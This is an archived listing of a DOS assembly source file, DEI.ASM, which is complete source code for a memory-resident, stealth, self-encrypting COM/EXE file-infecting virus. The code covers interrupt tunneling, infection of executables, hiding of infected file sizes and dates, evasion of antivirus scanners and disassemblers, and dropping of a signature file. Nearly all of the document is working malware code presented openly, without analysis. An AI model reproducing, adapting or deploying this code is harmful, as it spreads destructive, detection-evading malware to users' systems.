home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / DEI.ASM < prev    next >
Assembly Source File  |  1995-01-02  |  26KB  |  961 lines

  1. ; =======================================================================>
  2.  
  3. PING            equ     0BF1h                   ; a worthless DOS function
  4. PONG            equ     0DEAFh                  ; response to residency test
  5.  
  6. code            segment
  7.         org     100h
  8.         assume  cs:code,ds:code
  9.  
  10. start:
  11.         jmp     virus_begin             ; fake host program
  12.         db      26 dup (0)
  13.  
  14. virus_begin:
  15.         db      0BBh                    ; mov bx,
  16. code_offset     dw      0
  17.         db      0B0h                    ; mov al,
  18. cipher          db      0
  19. decrypt:
  20.         db      02Eh                    ; cs:
  21. decryptor_1:    xor     [bx],al
  22.         inc     bx
  23. shift_1:        neg     al
  24.         db      81h,0FBh                ; cmp bx,
  25. code_offset_2   dw      0
  26.         jbe     decrypt
  27. viral_code:
  28.         call    $ + 3                   ; BP is instruction ptr.
  29.         pop     bp
  30.         sub     bp,offset $ - 1
  31.  
  32.         push    ds es                   ; save segregs
  33.         
  34.         jmp     kill_sourcer            ; mess with disassemblers
  35.         db      0E9h
  36. kill_sourcer:
  37.         xor     ah,ah                   ; create or delete the
  38.         int     1Ah                     ; \DEI.COM file at random
  39.         cmp     dx,0FE00h               ; times ...
  40.         jb      dont_drop
  41.         call    drop_program
  42.         jmp     dont_delete
  43. dont_drop:
  44.         cmp     dx,0800h
  45.         ja      dont_delete
  46.         call    delete_program
  47. dont_delete:
  48.         mov     ax,PING                 ; residency test
  49.         int     21h
  50.         cmp     bx,PONG                 ; if installed,
  51.         jne     not_installed           ; don't install again
  52.         jmp     installed
  53. not_installed:
  54.         mov     ax,es                   ; install ourselves
  55.         dec     ax                      ; in memory
  56.         mov     ds,ax
  57.  
  58.         sub     word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1
  59.         sub     word ptr ds:[12h],(MEM_SIZE + 15) / 16 + 1
  60.         mov     ax,ds:[12h]             ; doing some calculations and
  61.         mov     ds,ax                   ; a bit of manipulation to
  62.  
  63.         sub     ax,15                   ; memory
  64.         mov     es,ax                   ; ES points to our destiny
  65.         mov     byte ptr ds:[0],'Z'
  66.         mov     word ptr ds:[1],8
  67.         mov     word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1
  68.  
  69.         push    cs                      ; zopy it
  70.         pop     ds
  71.         mov     di,100h
  72.         mov     cx,virus_end - start
  73.         lea     si,[bp + start]
  74.         rep     movsb
  75.  
  76.         xor     ax,ax
  77.         mov     ds,ax
  78.  
  79.         sub     word ptr ds:[413h],7    ; allocate memory from BIOS
  80.  
  81.         mov     si,21h * 4              ; saving old interrupt 21
  82.         mov     di,offset old_int_21    ; first
  83.         movsw
  84.         movsw
  85.  
  86.         lea     dx,[bp + int_1]
  87.         mov     ds:[4],dx               ; recursive tunneling - 
  88.         mov     ds:[6],cs               ; trace through interrupt 21
  89.  
  90.         push    es
  91.         mov     ah,52h                  ; get list of lists
  92.         int     21h                     ; for segment of DOS's int 21
  93.         mov     ax,es
  94.         mov     cs:[bp + int_21_seg],ax
  95.         pop     es
  96.         mov     [bp + our_es],es
  97.  
  98.         mov     ax,100h                 ; set trap flag
  99.         push    ax
  100.         popf
  101.  
  102.         mov     ah,0Bh                  ; and send us down the tunnel
  103.         pushf
  104.         call    dword ptr ds:[21h * 4]
  105.  
  106.         xor     ax,ax                   ; turn off trap flag
  107.         push    ax
  108.         popf
  109.  
  110.         mov     word ptr ds:[si - 4],0  ; little anti-trace ...
  111.  
  112.         mov     ds:[si - 4],offset new_int_21
  113.         mov     ds:[si - 2],es          ; and set new interrupt 21
  114.  
  115. installed:
  116.         pop     es ds
  117.         cmp     cs:[bp + exe_flag],1    ; is this an .EXE file? 
  118.         je      exe_exit                ; if so, exit as such
  119. com_exit:
  120.         lea     si,[bp + offset host]   ; restore original header
  121.         mov     di,100h
  122.         push    di
  123.         mov     cx,28
  124.         rep     movsb
  125.  
  126.         call    reset_regs
  127.  
  128.         ret                             ; and leave
  129.  
  130. exe_exit:
  131.         
  132.         mov     ax,ds
  133.         add     ax,cs:[bp + exe_cs]
  134.         mov     word ptr cs:[bp + jump_to + 2],ax
  135.         mov     ax,cs:[bp + exe_ip]
  136.         mov     word ptr cs:[bp + jump_to],ax
  137.  
  138.         mov     ax,ds
  139.         add     ax,cs:[bp + exe_ss]     ; restore original stack
  140.         cli
  141.         mov     ss,ax
  142.         mov     sp,cs:[bp + exe_sp]
  143.  
  144.         call    reset_regs              ; reset registers
  145.  
  146.         db      0EAh
  147. jump_to         dd      0
  148.  
  149. reset_regs:
  150.         mov     si,100h
  151.         xor     ax,ax
  152.         xor     bx,bx
  153.         xor     di,di
  154.         xor     bp,bp
  155.         ret
  156.  
  157. ; int 1 handler for tunneling.
  158.  
  159. int_21_seg      dw      0                       ; original int 21 segment
  160. our_es          dw      0                       ; our ES
  161.  
  162. int_1:
  163.         push    bp                      ; save registers used
  164.         mov     bp,sp
  165.  
  166.         push    ax
  167.         mov     ax,[bp + 4]             ; SEGMENT of next instruction
  168.  
  169.         push    bp
  170.         call    get_dest_seg            ; get location pointer
  171. get_dest_seg:
  172.         pop     bp
  173.  
  174.         cmp     ax,cs:[bp - (get_dest_seg - int_21_seg)]
  175.         pop     bp                      ; restore BP
  176.         jbe     tunneled                ; found, we're through
  177.  
  178.         push    ds si                   ; no, check next instruction
  179.  
  180.         mov     ds,ax
  181.         mov     si,[bp + 2]             ; OFFSET of next instruction
  182.         lodsb                           ; next instruction in AL
  183.  
  184.         cmp     al,0CFh                 ; IRET instruction?
  185.         je      set_iret                ; adjust accordingly
  186.  
  187.         cmp     al,09Dh                 ; POPF instruction?
  188.         je      set_popf                ; adjust
  189.  
  190.         jmp     flag_check_done         ; never mind ...
  191.  
  192. tunneled:                                       ; we're done ... save segment
  193.         push    es si
  194.         call    get_our_es
  195. get_our_es:
  196.         pop     si
  197.         mov     si,cs:[si - (get_our_es - our_es)]
  198.         mov     es,si
  199.         mov     word ptr es:[old_int_21 + 2],ax
  200.         mov     ax,[bp + 2]             ; and offset
  201.         mov     word ptr es:[old_int_21],ax
  202.         and     [bp + 6],0FEFFh         ; deinstall tunnel routine
  203.         pop     si es
  204.         jmp     exit
  205.  
  206. set_iret:
  207.         or      [bp + 10],100h          ; OFFSET of second interrupt
  208.         jmp     flag_check_done         ; call on stack (flags)
  209.  
  210. set_popf:
  211.         or      [bp + 6],100h           ; OFFSET of word before
  212.                         ; interrupt call on stack
  213. flag_check_done:
  214.         pop     si ds
  215. exit:
  216.         pop     ax bp
  217.         iret
  218.  
  219. ; int 24 handler.
  220. ; DOS changes it back automatically.
  221.  
  222. new_int_24:
  223.         mov     al,3                    ; simple enough
  224.         iret
  225.  
  226. ; ================================================>
  227. ; int 21 handler.
  228. ; trap 11h,12h,3Dh,3Fh,4Bh,4Eh,4Fh,6Ch, and 5700h
  229. ; ================================================>
  230.  
  231. int_21:
  232.         pushf
  233.         call    dword ptr cs:[old_int_21]
  234.         ret
  235.  
  236. new_int_21:
  237.         cmp     ax,PING                 ; are we checking on ourself?
  238.         je      pass_signal             ; yes, give the signal
  239.  
  240.         cmp     ax,4B00h                ; program execution?
  241.         je      execute                 ; uh - huh
  242.  
  243.         cmp     ah,11h                  ; directory stealth method 1
  244.         je      dir_stealth_1           ; (hide from DIR listing)
  245.         cmp     ah,12h
  246.         je      dir_stealth_1
  247.  
  248.         cmp     ah,4Eh                  ; directory stealth method 2
  249.         je      dir_stealth_2           ; (hide from ASCIIZ search)
  250.         cmp     ah,4Fh
  251.         je      dir_stealth_2
  252.  
  253.         cmp     ah,3Dh                  ; file open method 1
  254.         jne     go_on
  255.         jmp     file_open
  256. go_on:
  257.         cmp     ah,6Ch                  ; file open method 2
  258.         jne     go_on_2  
  259.         jmp     file_open
  260. go_on_2:
  261.         cmp     ah,3Fh                  ; file read
  262.         jne     go_on_3    
  263.         jmp     file_read
  264. go_on_3:
  265.         cmp     ax,5700h                ; get date
  266.         jne     int_21_exit
  267.         jmp     fix_date
  268.  
  269. int_21_exit:
  270.         db      0EAh                    ; never mind ...
  271. old_int_21      dd      0
  272.  
  273. pass_signal:
  274.         mov     bx,PONG                 ; pass signal
  275.         jmp     int_21_exit
  276.  
  277. execute:
  278.         call    check_name
  279.         jc      skip_infect             ; don't infect if marked
  280.         call    infect_ds_dx            ; simple enough ...
  281. skip_infect:
  282.         jmp     int_21_exit
  283.  
  284. dir_stealth_1:
  285.         call    int_21                  ; do it
  286.         test    al,al                   ; if al = -1
  287.         js      cant_find               ; then don't bother
  288.  
  289.         push    ax bx es                ; check file for infection
  290.  
  291.         mov     ah,2Fh
  292.         int     21h
  293.  
  294.         cmp     byte ptr es:[bx],-1     ; check for extended FCB
  295.         jne     no_ext_FCB
  296.         add     bx,7
  297.  
  298. no_ext_FCB:
  299.         mov     ax,es:[bx + 19h]
  300.         cmp     ah,100                  ; check years -  
  301.         jb      fixed                   ; if 100+, infected
  302.  
  303.         ror     ah,1
  304.         sub     ah,100
  305.         rol     ah,1
  306.         mov     es:[bx + 19h],ax
  307.  
  308.         sub     word ptr es:[bx + 1Dh],VIRUS_SIZE + 28
  309.         sbb     word ptr es:[bx + 1Fh],0
  310. fixed:
  311.         pop     es bx ax
  312. cant_find:
  313.         iret
  314.  
  315.  
  316. dir_stealth_2:
  317.         call    int_21                  ; perform file search
  318.         jnc     check_file_2            ; if found, proceed
  319.         retf    2                       ; nope, leave
  320. check_file_2:
  321.         push    ax bx si es
  322.  
  323.         mov     ah,2Fh                  ; find DTA
  324.         int     21h
  325.  
  326.         mov     ax,es:[bx + 18h]
  327.         cmp     ah,100                  ; check for infection marker
  328.         jb      fixed_2
  329.  
  330.         ror     ah,1                    ; fix up date
  331.         sub     ah,100
  332.         rol     ah,1
  333.         mov     es:[bx + 18h],ax
  334.  
  335.         sub     word ptr es:[bx + 1Ah],VIRUS_SIZE + 28
  336.         sbb     word ptr es:[bx + 1Ch],0
  337. fixed_2:
  338.         pop     es si bx ax             ; done
  339.         clc
  340.         retf    2
  341.  
  342. file_open:
  343.         call    try_infecting           ; try to infect file
  344.  
  345.         call    int_21                  ; open file
  346.         jc      open_fail               ; carry set, open failed
  347.              
  348.         cmp     ax,5                    ; if handle is a device,
  349.         jb      dont_bother             ; don't bother with it
  350.  
  351.         push    ax bx di es
  352.  
  353.         xchg    ax,bx
  354.         push    bx
  355.         mov     ax,1220h                ; get system file table
  356.         int     2Fh                     ; entry
  357.         
  358.         nop                             ; anti-SCAN
  359.  
  360.         mov     bl,es:[di]
  361.         mov     ax,1216h
  362.         int     2Fh
  363.         pop     bx
  364.  
  365.         call    check_datestamp         ; check datestamp
  366.         jb      dont_stealth
  367.         
  368.         cmp     word ptr es:[di],1      ; if file has already
  369.         ja      dont_stealth            ; been opened, don't stealth
  370.  
  371.         sub     es:[di + 11h],VIRUS_SIZE + 28
  372.         sbb     word ptr es:[di + 13h],0 ; stealth it ... change file
  373.                         ; size
  374.  
  375. dont_stealth:
  376.         pop     es di bx ax             ; restore everything
  377. dont_bother:
  378.         clc
  379. open_fail:
  380.         retf    2                       ; and return
  381.  
  382. file_read:
  383.         cmp     bx,5                    ; if read from device,
  384.         jae     check_it_out            ; don't bother
  385.         jmp     forget_it
  386.  
  387. check_it_out:
  388.         push    si di es ax bx cx
  389.         
  390.         push    bx
  391.         mov     ax,1220h                ; get SFTs
  392.         int     2Fh
  393.  
  394.         nop
  395.  
  396.         mov     bl,es:[di]
  397.         mov     ax,1216h
  398.         int     2Fh
  399.         pop     bx
  400.  
  401.         call    check_datestamp         ; 100+ years
  402.         jae     check_pointer           ; is the magic number
  403.         jmp     no_read_stealth
  404. check_pointer:
  405.         cmp     word ptr es:[di + 17h],0 ; if file pointer above 64K,
  406.         je      check_pointer_2         ; then skip it
  407.         jmp     no_read_stealth
  408.  
  409. check_pointer_2:
  410.         cmp     word ptr es:[di + 15h],28 ; if file pointer under 28,
  411.         jae     no_read_stealth         ; then DON'T
  412.  
  413.         push    es:[di + 15h]           ; save it
  414.         
  415.         mov     ah,3Fh
  416.         call    int_21                  ; do the read function
  417.         
  418.         pop     cx                      ; now find how many bytes
  419.         push    ax                      ; (Save AX value)
  420.         sub     cx,28                   ; we have to change ...
  421.         neg     cx                      ; and where
  422.  
  423.         cmp     ax,cx                   ; if more than 28 were read,
  424.         jae     ok                      ; ok
  425.  
  426.         xchg    ax,cx                   ; otherwise, switch around
  427. ok:
  428.         push    ds cx dx
  429.  
  430.         push    es:[di + 15h]           ; save current file pointer
  431.         push    es:[di + 17h]
  432.  
  433.         add     es:[di + 11h],VIRUS_SIZE + 28
  434.         adc     word ptr es:[di + 13h],0
  435.         mov     ax,es:[di + 11h]        ; fix up file size to prevent
  436.         sub     ax,28                   ; read past end of file
  437.  
  438.         mov     es:[di + 15h],ax
  439.         mov     ax,es:[di + 13h]
  440.         mov     es:[di + 17h],ax
  441.  
  442.         push    cs                      ; now read in real first 28
  443.         pop     ds                      ; bytes
  444.         mov     dx,offset read_buffer
  445.         mov     cx,28
  446.         mov     ah,3Fh
  447.         call    int_21
  448.  
  449.         sub     es:[di + 11h],VIRUS_SIZE + 28
  450.         sbb     word ptr es:[di + 13h],0
  451.  
  452.         pop     es:[di + 17h]           ; restore file pointer
  453.         pop     es:[di + 15h]
  454.  
  455.         pop     dx cx ds                ; now we move our 28 bytes
  456.         push    ds                      ; into theirs ...
  457.         pop     es
  458.  
  459.         mov     di,dx
  460.         mov     si,offset read_buffer
  461.         push    cs
  462.         pop     ds
  463.         rep     movsb                   ; done
  464.  
  465.         push    es                      ; restore DS
  466.         pop     ds
  467.  
  468.         pop     ax
  469.         pop     cx bx es es di si
  470.         clc
  471.         retf    2
  472.  
  473. no_read_stealth:
  474.         pop     cx bx ax es di si
  475. forget_it:
  476.         jmp     int_21_exit
  477.  
  478. fix_date:
  479.         call    int_21                  ; get date
  480.         jc      an_error
  481.         cmp     dh,100                  ; if years > 100,
  482.         jb      date_fixed              ; fix it up
  483.         ror     dh,1
  484.         sub     dh,100
  485.         rol     dh,1
  486. date_fixed:
  487.         iret
  488. an_error:
  489.         retf    2
  490. ; Called routines
  491.  
  492. ; this routine checks for a .COM or .EXE file
  493. try_infecting:
  494.         push    di es cx ax
  495.  
  496.         cmp     ax,6C00h                ; extended open fix
  497.         jne     get_ext
  498.         xchg    dx,si
  499. get_ext:
  500.         mov     di,dx                   ; find program extension
  501.         push    ds
  502.         pop     es
  503.         mov     cx,64
  504.         mov     al,'.'
  505.         repnz   scasb
  506.         pop     ax
  507.         jcxz    let_it_be               ; ... "ecch" ...
  508.  
  509.         cmp     [di],'OC'               ; .COM file?
  510.         jne     perhaps_exe             ; maybe .EXE, then
  511.         cmp     byte ptr [di + 2],'M'
  512.         jne     let_it_be               ; not program, don't infect
  513.         jmp     yes_infect_it
  514. perhaps_exe:
  515.         cmp     [di],'XE'               ; .EXE file?
  516.         jne     one_more_try            ; maybe ... .OVL?
  517.         cmp     byte ptr [di + 2],'E'
  518.         jne     let_it_be
  519.         jmp     yes_infect_it
  520. one_more_try:
  521.         cmp     [di],'VO'               ; .OVL file?
  522.         jne     let_it_be
  523.         cmp     byte ptr [di + 2],'L'
  524.         jne     let_it_be
  525. yes_infect_it:
  526.         call    check_name              ; don't infect forbidden
  527.         jc      let_it_be               ; programs
  528.         call    infect_ds_dx
  529. let_it_be:
  530.         cmp     ah,6Ch                  ; extended open fixup
  531.         jne     get_out
  532.         xchg    dx,si
  533. get_out:
  534.         pop     cx es di
  535.         ret
  536.  
  537. ; this routine checks the filename at DS:DX for certain 'bad' programs
  538.  
  539. check_name:
  540.         push    ax cx es di
  541.  
  542.         push    ds                      ; find extension
  543.         pop     es
  544.         mov     di,dx
  545.         mov     cx,64
  546.         mov     al,'.'
  547.         repnz   scasb
  548.  
  549.         cmp     word ptr [di - 3],'NA'  ; SCAN or TBSCAN
  550.         jne     pass_1
  551.         cmp     word ptr [di - 5],'CS'
  552.         je      av_prog
  553. pass_1:
  554.         cmp     word ptr [di - 3],'TO'  ; Frisk's F-PRoT
  555.         jne     pass_2
  556.         cmp     word ptr [di - 5],'RP'
  557.         je      av_prog
  558. pass_2:
  559.         cmp     word ptr [di - 3],'DN'  ; COMMAND.COM
  560.         jne     pass_3                  ; ("Bad or Missing," etc.)
  561.         cmp     word ptr [di - 5],'AM'
  562.         je      av_prog
  563. pass_3:
  564.         cmp     word ptr [di - 5],'SA'  ; MS-DOS's QBASIC
  565.         jne     pass_4                  ; ("Packed file is corrupt")
  566.         cmp     word ptr [di - 7],'BQ'
  567.         je      av_prog
  568. pass_4:
  569.         clc                             ; passed the test
  570.         jmp     check_complete
  571. av_prog:
  572.         stc                             ; ack! *GAG* *boo* *hiss*
  573. check_complete:
  574.         pop     di es cx ax
  575.         ret
  576.  
  577. ; this routine infects the file at DS:DX
  578.  
  579. infect_ds_dx:
  580.         push    ax bx cx dx si di ds es
  581.  
  582.         in      al,21h                  ; some anti-trace
  583.         xor     al,2
  584.         out     21h,al
  585.  
  586.         xor     al,2
  587.         out     21h,al
  588.  
  589.         mov     ax,3D00h                ; read-only ... we'll change        
  590.         call    int_21                  ; it later, but it won't trip
  591.         jnc     hook_24                 ; some AV monitors
  592.         jmp     cant_open
  593.  
  594. hook_24:
  595.         xor     bx,bx                   ; hook int 24h
  596.         mov     ds,bx                   ; prevent write protect errors
  597.         mov     ds:[24h * 4],offset new_int_24
  598.         mov     ds:[24h * 4 + 2],cs
  599.  
  600.         xchg    bx,ax                   ; get system file tables
  601.         push    bx
  602.         mov     ax,1220h
  603.         int     2Fh
  604.         nop                             ; anti-SCAN
  605.  
  606.         mov     bl,es:[di]
  607.         mov     ax,1216h
  608.         int     2Fh
  609.         pop     bx
  610.  
  611.         call    check_datestamp         ; if already infected,
  612.         jae     dont_infect             ; don't do it again
  613.  
  614.         mov     word ptr es:[di + 2],2  ; change mode to R/W
  615.  
  616.         push    cs                      ; read in 28 bytes of
  617.         pop     ds                      ; our potential host ...
  618.  
  619.         mov     dx,offset read_buffer
  620.         mov     cx,28
  621.         mov     ah,3Fh                  ; (carefully avoiding
  622.         call    int_21                  ;  our stealth routine)
  623.  
  624.         cmp     word ptr read_buffer,'ZM'
  625.         je      infect_exe              ; if .EXE, infect as one
  626.  
  627.         mov     exe_flag,0              ; infect as .COM
  628.  
  629.         mov     ax,es:[di + 11h]        ; get file size
  630.  
  631.         cmp     ax,65279 - VIRUS_SIZE + 28
  632.         ja      dont_infect             ; don't infect; too big
  633.  
  634.         cmp     ax,28
  635.         jb      dont_infect             ; don't infect; too small
  636.  
  637.         mov     es:[di + 15h],ax        ; move to end of file
  638.                         ; (I just love the SFTs ...)
  639.         call    encrypt_and_write_virus ; encrypt the virus code
  640.                         ; then write it to the file
  641.  
  642.         mov     dx,offset read_buffer   ; store original
  643.         mov     cx,28                   ; header
  644.         mov     ah,40h
  645.         call    int_21
  646.  
  647.         mov     word ptr es:[di + 15h],0 ; and lastly, back to
  648.                         ; the beginning of the file
  649.         mov     dx,offset new_header    ; to add the new header
  650.         mov     ah,40h
  651.         mov     cx,22                   ; our header's only 22 bytesx
  652.         call    int_21
  653.  
  654.         mov     cx,es:[di + 0Dh]        ; fix date/time
  655.         mov     dx,es:[di + 0Fh]
  656.         ror     dh,1
  657.         add     dh,100
  658.         rol     dh,1
  659.         mov     ax,5701h
  660.         call    int_21
  661. dont_infect:
  662.         mov     ah,3Eh                  ; and close the file
  663.         call    int_21
  664. cant_open:
  665.         jmp     infect_exit             ; infection done; exit
  666.  
  667. infect_exe:
  668.         cmp     word ptr read_buffer[24],'@'
  669.         jne     not_windows
  670.         jmp     infect_exit             ; Windows .EXE, don't infect
  671. not_windows:
  672.         cmp     word ptr read_buffer[26],0
  673.         je      not_overlay
  674.         jmp     infect_exit             ; overlay .EXE, don't infect
  675. not_overlay:
  676.         mov     exe_flag,1              ; infect as .EXE
  677.  
  678.         push    es di                   ; move original header
  679.         push    cs                      ; into new header area
  680.         pop     es
  681.  
  682.         mov     si,offset read_buffer
  683.         mov     di,offset header_buffer
  684.         mov     cx,28
  685.         rep     movsb
  686.  
  687.         pop     di es
  688.  
  689.         push    es:[di + 11h]           ; save file size on stack
  690.         push    es:[di + 13h]
  691.  
  692.         push    word ptr read_buffer[22]         ; CS ...
  693.         pop     exe_cs
  694.         add     exe_cs,10h              ; (adjust)
  695.         push    word ptr read_buffer[20]         ; IP ...
  696.         pop     exe_ip
  697.  
  698.         push    word ptr read_buffer[14]         ; SS ...
  699.         pop     exe_ss
  700.         add     exe_ss,10h              ; (adjust)
  701.         push    word ptr read_buffer[16]         ; and SP
  702.         pop     exe_sp                 
  703.  
  704.         pop     dx ax                   ; now we calculate new CS:IP
  705.         push    ax dx                   ; (save these for later)
  706.  
  707.         push    bx
  708.         mov     cl,12                   ; calculate offsets for CS
  709.         shl     dx,cl                   ; and IP
  710.         mov     bx,ax
  711.         mov     cl,4
  712.         shr     bx,cl
  713.         add     dx,bx
  714.         and     ax,15
  715.         pop     bx
  716.  
  717.         sub     dx,word ptr read_buffer[8]
  718.         mov     word ptr read_buffer[22],dx
  719.         mov     word ptr read_buffer[20],ax
  720.         
  721.         pop     dx ax
  722.         add     ax,VIRUS_SIZE + 28
  723.         adc     dx,0
  724.         push    ax dx
  725.  
  726.         mov     cl,4                    ; create a stack segment
  727.         shr     ax,cl
  728.         add     ax,200
  729.  
  730.         cmp     ax,word ptr read_buffer[14]
  731.         jb      no_new_stack            ; if theirs is better, skip it
  732.         
  733.         mov     dx,-2                   ; set SP to FFFE always
  734.         mov     word ptr read_buffer[14],ax
  735.         mov     word ptr read_buffer[16],dx
  736. no_new_stack:
  737.         pop     dx ax                   ; now calculate program size
  738.  
  739.         mov     cx,512                  ; in pages
  740.         div     cx                      ; then save results
  741.         inc     ax
  742.         mov     word ptr read_buffer[2],dx
  743.         mov     word ptr read_buffer[4],ax
  744.         
  745.         mov     ax,4202h                ; this is just easier
  746.         cwd                             ; than using the SFTs
  747.         xor     cx,cx
  748.         call    int_21
  749.  
  750.         mov     ax,word ptr read_buffer[20] ; get code offset
  751.         call    encrypt_and_write_virus ; encrypt virus code
  752.                         ; and write it to the file
  753.         mov     dx,offset header_buffer ; write original header
  754.         mov     cx,28                   ; to file
  755.         mov     ah,40h
  756.         call    int_21
  757.  
  758.         mov     word ptr es:[di + 15h],0
  759.         mov     word ptr es:[di + 17h],0 ; back to beginning of file
  760.  
  761.         mov     dx,offset read_buffer   ; and write new header to file
  762.         mov     ah,40h
  763.         call    int_21
  764.         
  765.         mov     cx,es:[di + 0Dh]        ; fix date/time
  766.         mov     dx,es:[di + 0Fh]
  767.         ror     dh,1
  768.         add     dh,100
  769.         rol     dh,1
  770.         mov     ax,5701h
  771.         call    int_21
  772.  
  773.         mov     ah,3Eh                  ; close file
  774.         call    int_21
  775.  
  776. infect_exit:
  777.         pop     es ds di si dx cx bx ax ; done ... leave
  778.         ret
  779.  
  780. encrypt_and_write_virus:
  781.         push    es di bx ax             ; save code offset and SFT
  782.         mov     bx,ax
  783.  
  784.         xor     ah,ah                   ; get random number from
  785.         int     1Ah                     ; system clock
  786.         mov     cipher,dl               ; and use it for encryption
  787.  
  788.         pop     ax                      ; fix up offset
  789.  
  790.         cmp     exe_flag,0
  791.         jne     not_org_100h
  792.         add     ax,100h
  793. not_org_100h:
  794.         add     ax,(viral_code - virus_begin)
  795.         mov     ds:code_offset,ax
  796.  
  797.         add     ax,(virus_end - viral_code) - 1 ; second offset
  798.         mov     ds:code_offset_2,ax
  799.  
  800.         mov     si,offset virus_begin
  801.         mov     di,offset encrypt_buffer
  802.  
  803.         push    cs                      ; move decryption module
  804.         pop     es
  805.  
  806.         mov     cx,viral_code - virus_begin
  807.         rep     movsb
  808.  
  809.         mov     si,offset viral_code
  810.         mov     cx,virus_end - viral_code
  811. encrypt:                                        ; now encrypt virus code
  812.         lodsb                           ; with a simple encryption
  813. decryptor_2:
  814.         xor     al,dl                   ; key ...
  815. shift_2:
  816.         neg     dl
  817.         stosb
  818.         loop    encrypt
  819.  
  820.         cmp     exe_flag,0              ; if .COM file,
  821.         jne     exe_infection
  822.         mov     ax,bx
  823.         call    create_header           ; create unique header
  824.  
  825. exe_infection:
  826.         pop     bx di es                ; restore SFT
  827.  
  828.         mov     ah,40h                  ; wrte virus code to file
  829.         mov     cx,VIRUS_SIZE
  830.         mov     dx,offset encrypt_buffer
  831.         call    int_21
  832.  
  833.         ret
  834.  
  835. check_datestamp:
  836.         mov     ax,es:[di + 0Fh]        ; a little routine to
  837.         cmp     ah,100                  ; check timestamps
  838.         ret
  839.  
  840. drop_program:
  841.         lea     dx,[bp + offset weirdo] ; this creates our
  842.         push    ds                      ; little signature
  843.         push    cs
  844.         pop     ds
  845.         mov     ah,3Ch
  846.         mov     cx,3
  847.         int     21h
  848.         jc      no_drop
  849.  
  850.         xchg    ax,bx
  851.         mov     ah,40h
  852.         mov     cx,(drop_me_end - drop_me)
  853.         lea     dx,[bp + offset drop_me]
  854.         int     21h
  855.  
  856.         mov     ah,3Eh
  857.         int     21h
  858.  
  859. no_drop:
  860.         pop     ds
  861.         ret
  862.  
  863. delete_program:
  864.         mov     ah,41h
  865.         lea     dx,[bp + offset weirdo]
  866.         push    ds
  867.         push    cs
  868.         pop     ds
  869.         int     21h
  870.         pop     ds
  871.         ret
  872.  
  873. create_header:
  874.         push    ax
  875.         add     ax,100h + (offset decrypt - offset virus_begin)
  876.         mov     ds:mov_1,ax             ; header
  877.         inc     ax
  878.         inc     ax
  879.         mov     ds:mov_2,ax
  880.  
  881.         xor     ah,ah                   ; fill in useless MOVs
  882.         int     1Ah                     ; with random bytes
  883.         mov     ds:mov_al,cl
  884.         mov     ds:mov_ax,dx
  885.  
  886.         push    dx                      ; modify header a little ...
  887.         and     cl,7                    ; make things weirder ...
  888.         add     cl,0B0h
  889.         mov     ds:mov_reg,cl
  890.         and     dl,3
  891.         add     dl,0B8h
  892.         mov     ds:mov_regx,dl
  893.         pop     dx
  894.  
  895.         push    cs
  896.         pop     es
  897.         mov     di,offset encrypt_buffer
  898.         add     di,offset decrypt - offset virus_begin
  899.         mov     ax,dx                   ; now fill decryption module
  900.         neg     ax                      ; with some garbage
  901.         stosw
  902.         rol     ax,1
  903.         stosw
  904.  
  905.         pop     ax
  906.         sub     ax,20                   ; fix up JMP instruction
  907.         mov     ds:new_jump,ax
  908.  
  909.         ret                             ; done
  910.  
  911. new_header      db      0C7h,06
  912. mov_1           dw      00
  913.         db      2Eh
  914. decryptor_3     db      30h                 ; first MOV
  915. mov_reg         db      0B0h
  916. mov_al          db      00                      ; a nothing MOV bytereg,
  917.         db      0C7h,06
  918. mov_2           dw      00
  919.         db      07,043h                 ; second MOV
  920. mov_regx        db      0B8h
  921. mov_ax          dw      00                      ; a nothing MOV wordreg,
  922.         db      0E9h                    ; jump instruction
  923. new_jump        dw      0                       ; virus offset
  924.  
  925. exe_flag        db      0
  926.  
  927. exe_cs          dw      0                       ; EXE code/stack settings
  928. exe_ip          dw      0
  929. exe_ss          dw      0
  930. exe_sp          dw      0
  931.  
  932. drop_me:
  933.         mov     ah,9                    ; this program is dropped
  934.         mov     dx,109h                 ; at random times within
  935.         int     21h                     ; the root directory as
  936.         int     20h                     ; \DEI.COM
  937.  
  938. sig             db      'Devils & Evangels, Inc. '
  939.         db      '[DEI] MnemoniX $',0
  940. drop_me_end:
  941.         db      'v2.00'
  942.  
  943. weirdo          db      '\DEI.COM',0
  944.  
  945. virus_end:
  946. host:
  947.         mov     ah,4Ch                  ; fake host program
  948.         int     21h
  949.  
  950. VIRUS_SIZE      equ     virus_end - virus_begin
  951.  
  952. read_buffer     db      28 dup (?)
  953. header_buffer   db      28 dup (?)
  954. encrypt_buffer  db      VIRUS_SIZE dup (?)
  955. end_heap:
  956.  
  957. MEM_SIZE        equ     end_heap - start
  958.  
  959. code            ends
  960.         end     start
  961.